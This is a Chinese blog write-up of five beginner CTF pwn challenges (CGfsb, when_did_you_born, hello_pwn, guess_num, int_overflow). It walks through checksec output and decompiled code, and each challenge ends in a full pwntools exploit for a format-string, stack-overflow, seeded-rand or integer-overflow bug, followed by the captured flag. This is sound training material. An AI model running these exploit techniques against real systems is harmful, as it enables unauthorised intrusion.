• (攻防世界) -- pwn入门 -- 新手区1 -- CGfsb


    ⭐学习网站


    肝就vans了


    ctfwiki


    ⭐CGfsb - printf格式化字符



    拿到附件,首先对其进行查看 checksec e41a0f684d0e497f87bb309f91737e4d


    checksec e41a0f684d0e497f87bb309f91737e4d
    [*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    回顾一下:


    Arch: 程序架构。 该程序是 x86-32位-小段字节序号


    RELRO: 在程序启动时就解析所有动态符号/设置符号重定向表格(只读),来减少对GOT表的攻击


    Stack:栈溢出保护


    Nx:堆栈不可执行,即不可在栈上执行shellcode,要利用现成system等lib函数(如"insh")等


    PIE:内存地址全随机化


    所以,将附件拖入32bitIDA中。老规矩 F5 或 shitf+F12 查看。追踪到如下主函数:


      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:
    ");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
    

    显然,pwnme==8 是得到flag的关键。双击追踪:



    显然pwnme被设置为全局变量,根据之前 NO PIE 可知,地址不会改变 0804A068


    接下来,就是要确定偏移量。printf(&s); 即:printf格式化字符


    详情可见大佬博客: 格式化字符串漏洞


    因此,利用 如下,来确定偏移量。


    aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
    


    编写exp


    from pwn import *
    
    p = remote('111.200.241.244', 45138)
    addr_pwnme = 0x0804A068  #pwnme所在地址
    
    p.recvuntil("please tell me your name:
    ")
    p.sendline('J1ay')
    
    payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四个字节用于填充
    p.recvuntil("leave your message please:
    ")
    p.sendline(payload)
    
    p.interactive()
    
    

    由于p32(addr_pwnme)占4个字节,而我们要让其==8,必须给他再填充4个字节


    %10$n 这里偏移量为10,%10$n 意思为 取第10个参数中的内容,以内容为地址写入整体字符串的长度



    cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}
    

    ⭐when_did_you_born - 溢出



    checksec 查看


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
    [*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    


    拖入IDA64中,选择main函数 F5


    查看伪码



    显然我们要利用v4变量所在gets函数,通过覆盖v5原本值,来实现v5值为1926。


    因此,下一步就是确定v5/v4 变量所在地址:(双击查看)



    编写exp


    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    content = 0  #0/1切换本地调试
    def main():
        if content == 1:
            J1ay = process("when_did_you_born")
        else:
            J1ay = remote("111.200.241.244",46071)
    
        payload = b'a' * (0x20-0x18) + p64(1926) #1926覆盖值,(0x20-0x18)为v4和v5地址差值(偏移量)
    
        J1ay.recvuntil("What's Your Birth?
    ")
        J1ay.sendline("2021")
    
        J1ay.recvuntil("What's Your Name?
    ")
        J1ay.sendline(payload)
    
        J1ay.interactive()
    
    main()
    

    即可获取



    cyberpeace{65c64869ab65a0a82e11229c74b23e9e}
    

    ⭐hello_pwn - 溢出



    同上题解法。简单看一下IDA


    puts("~~ welcome to ctf ~~     ");
    puts("lets get helloworld for bof");
    read(0, &unk_601068, 0x10uLL);
    if ( dword_60106C == 1853186401 )
        sub_400686(0LL, &unk_601068);
    

    只需实现 dword_60106C == 1853186401 。跟上题类似。



    可构造 payload = b'a' *(0x6C-0x68) 偏移量


    payload = payload + p64(1853186401) 将 1853186401 数据 填充进去。


    编写exp


    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    content = 0
    def main():
        if content == 1:
            J1ay = process("hello_pwn")
        else:
            J1ay = remote("111.200.241.244",42801)
    
        payload = b'a' * (0x6c-0x68) + p64(1853186401)
        
        #J1ay.recvuntil("lets get helloworld for bof
    ")
        J1ay.sendline(payload)
    
        J1ay.interactive()
    
    main()
    

    得到


    cyberpeace{af41f61a47e0f993edc71bb012877046}
    

    ⭐guess_num - 随机数-溢出



    拿到附件,首先 checksec 一下


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
    [*] '/mnt/c/Users/11145/Desktop/guess_num'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    拖进 64IDA中,


    puts("-------------------------------");
    puts("Welcome to a guess number game!");
    puts("-------------------------------");
    puts("Please let me know your name!");
    printf("Your name:", 0LL);
    gets((__int64)&v7);
    srand(seed[0]);
    for ( i = 0; i <= 9; ++i )
    {
        v6 = rand() % 6 + 1;
        printf("-------------Turn:%d-------------
    ", (unsigned int)(i + 1));
        printf("Please input your guess number:");
        __isoc99_scanf("%d", &v4);
        puts("---------------------------------");
        if ( v4 != v6 )
        {
            puts("GG!");
            exit(1);
        }
        puts("Success!");
    }
    sub_C3E();
    return 0LL;
    

    sub_C3E() 函数


    __int64 sub_C3E()
    {
      printf("You are a prophet!
    Here is your flag!");
      system("cat flag");
      return 0LL;
    }
    

    显然,在这里拿到flag。


    现在来看主函数:



    双击 gets ,追踪到 seed


    0000000000000030 var_30          db ?
    ............................................
    0000000000000010 seed            dd 2 dup(?)
    

    发现需 0x30-0x10 即覆盖20个地址,就可到 seed[0]


    进入循环,导入 from ctypes import *


    利用 cdll.LoadLibrary("libc.so.6") 根据如下随机数产生代码

    for ( i = 0; i <= 9; ++i ) // 循环10遍
    {
    	v6 = rand() % 6 + 1;
     .....................
    }
    

    编写exp


    from pwn import *
    from ctypes import *
    
    p = remote('111.200.241.244',38649)
    
    # 随机数循环
    def srand():
        libc = cdll.LoadLibrary('libc.so.6')
        libc.srand(1)
        for i in range(10):
            p.recvuntil("Please input your guess number:")
            p.sendline(str(libc.rand()%6+1))
    
    # gets函数覆盖
    p.recvuntil('Your name:')
    payload = b'a' * (0x30 - 0x10) + p64(1)
    p.sendline(payload)
    
    # 随机数循环
    srand()
    
    p.interactive()
    


    ⭐int_overflow - 无符号整型溢出



    checksec 查看


    root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
    [*] '/mnt/c/Users/11145/Desktop/int_overflow'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    拖进IDA32里,查看 -- 主函数


     puts("---------------------");
     puts("~~ Welcome to CTF! ~~");
     puts("       1.Login       ");
     puts("       2.Exit        ");
     puts("---------------------");
     printf("Your choice:");
     __isoc99_scanf("%d", &v4);
     if ( v4 == 1 )
     {
     login();
     }
     else
     {
     if ( v4 == 2 )
     {
     puts("Bye~");
     exit(0);
     }
     puts("Invalid Choice!");
     }
    


    显然令v4=1,进入函数login


    char *login()
    {
      char buf; // [esp+0h] [ebp-228h]
      char s; // [esp+200h] [ebp-28h]
      memset(&s, 0, 0x20u);
      memset(&buf, 0, 0x200u);
      puts("Please input your username:");
      read(0, &s, 0x19u);
      printf("Hello %s
    ", &s);
      puts("Please input your passwd:");
      read(0, &buf, 0x199u);
      return check_passwd(&buf);
    }
    


    函数check_passwd()


    char *__cdecl check_passwd(char *s)
    {
      char *result; // eax
      char dest; // [esp+4h] [ebp-14h]
      unsigned __int8 v3; // [esp+Fh] [ebp-9h]
    
      v3 = strlen(s);
      if ( v3 <= 3u || v3 > 8u )
      {
        puts("Invalid Password");
        result = (char *)fflush(stdout);
      }
      else
      {
        puts("Success");
        fflush(stdout);
        result = strcpy(&dest, s);
      }
      return result;
    }
    

    以及发现 命令 cat flag ,也就是说,只要我们确定偏移量,将返回地址覆盖到 804868B 即可拿到flag。



    分析:


    在函数check_passwd()


    显然可见


    strcpy(&dest, s)
    


    将 s 拷贝到dest,s是传入的password。


    如下: 只需 0x14+4 个字节就可溢出。



    当然,有个问题就是,开头对传入的s长度 v3 进行了校验,u 代表此为 无符号整型,长度必须在 4u-8u 间,但是我们需要18个字节,如何绕开?


    无符号整型范围为 0~65535 ,则我们可以利用无符号整型溢出,来实现绕过。


    具体可以参照这篇大佬博客 c语言的整型溢出问题


    简单来说,就是溢出的值会与256求模,得到最终结果。


    因此,本是 4--8,等价于 255+3 -- 255+8,即在259--263内就可实现绕过


    编写exp


    from pwn import *
    
    p = remote('111.200.241.244',52479)
    
    p.recvuntil('Your choice:')
    p.sendline("1")
    
    p.recvuntil('Please input your username:
    ')
    p.sendline('J1ay')
    
    payload = b'a' * (0x14 + 4) + p32(0x0804868B)
    # v3取值在259-263
    v3 = 259 
    payload += b'a'*(v3 - len(payload))
    p.recvuntil('Please input your passwd:
    ')
    p.sendline(payload)
    
    p.interactive()
    


    关于以上链接引用【侵权删】


    若有错误之处,还请多多指正~~


    【转载请放链接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html

  • 相关阅读:
    结对编程
    四则运算
    认清自我,创造未来!!!
    浅谈GIT
    典型用户及用例故事
    结对编程 四则运算
    四则运算
    《未来的程序员》
    java项目命名规范
    四则运算测试
  • 原文地址:https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html
Copyright © 2020-2023  润新知